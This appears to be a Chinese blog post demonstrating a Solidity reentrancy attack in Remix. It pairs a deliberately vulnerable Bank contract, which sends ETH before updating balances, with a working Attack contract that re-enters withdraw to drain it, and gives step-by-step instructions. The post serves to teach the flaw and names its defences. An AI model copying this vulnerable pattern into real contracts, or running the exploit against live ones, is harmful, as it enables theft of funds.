solidity 重入攻击测试

任何从合约 A 到合约 B 的交互以及任何从合约 A 到合约 B 的 以太币Ether 的转移,都会将控制权交给合约 B。 这使得合约 B 能够在交互结束前回调 A 中的代码。

在合约中运用转账调用call方法,可以消耗完所有的gas,而send和transfer只消耗2300。

为了便面重入,可以使用“检查-生效-交互”(Checks-Effects-Interactions)模式,或者加锁限制:

以下两个合约模拟了攻击者和受害者,通过重入攻击,获得了受害者所有的ETH。

pragma solidity >=0.7.0 <=0.8.0; 
// SPDX-License-Identifier: MIT

contract Bank {
    
    uint256 constant public ethLower = 1 ether;
    
    uint256 constant public ethUpper = 5 ether;
    
    mapping(address => uint256) balances;
    
    event depositEth(address sender,uint256 value);
    
    event withdrawEth(address sender,uint256 value);
    
    function depositEther() payable public{
        require(msg.value >= ethLower);
        require(msg.value <= ethUpper);
        balances[msg.sender] += msg.value;
        emit depositEth(msg.sender,msg.value);
    }
    
    
    function withdraw(uint256 amount) public{
        require(balances[msg.sender] >= amount);
        msg.sender.call{value: amount}("");
        balances[msg.sender] -= amount;
        emit withdrawEth(msg.sender,amount);
    }
    
    
    function withdraw() public {
        msg.sender.transfer(address(this).balance);
    }
    
    
    function getBalance(address addr) public view returns(uint256){
        return balances[addr];
    }
    
    
    function getTotal() public view returns(uint256){
        return address(this).balance;
    }

     
}
pragma solidity >=0.7.0 <=0.8.0; 
// SPDX-License-Identifier: MIT

interface IRC20 {
    
    function depositEther() external payable;

    function withdraw(uint256 amount) external;
    
    function getBalance(address addr) external view returns(uint256);
    
}

contract Attack {
    
    address constant private addr = 0x78E74b14512f2f9d3C26aeE24d902Fef10F46d72;
    
    IRC20 private tract;
    
    event withdrawEth(address sender,uint256 value);
    
    constructor(){
        tract = IRC20(addr);
    }
    
    
    function getBalance() public view returns(uint){
        return address(this).balance;
    }
    
     
    function despoit() public payable{
        tract.depositEther{value:2 ether}();
        tract.withdraw(1 ether);
    }
    
    
    function withdraw() public {
        msg.sender.transfer(address(this).balance);
    }
    
    
    receive() external payable {
        uint256 amount = tract.getBalance(address(this));
        emit withdrawEth(msg.sender,amount);
        if( amount >= 1 ether ){
            tract.withdraw(1 ether);
        }
    }
    
    
}

步骤:1. 通过remix创建合约bank(B)和attack(C).

           2.通过地址A向合约B 2次转账10ETH。此时合约B余额为10ETH。

           3.通过地址A向合约C转账2ETH。此时合约C余额为2ETH。

           4.通过合约C方法,往合约B中存入2ETH,触发提现,提取B全部的ETH。这个步骤gaslimit要给足,不然会失败。

         5,B和C合约所有测试ETH都可以通过提现方法提出来。

参考:

https://learnblockchain.cn/docs/solidity/security-considerations.html#re-entance

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值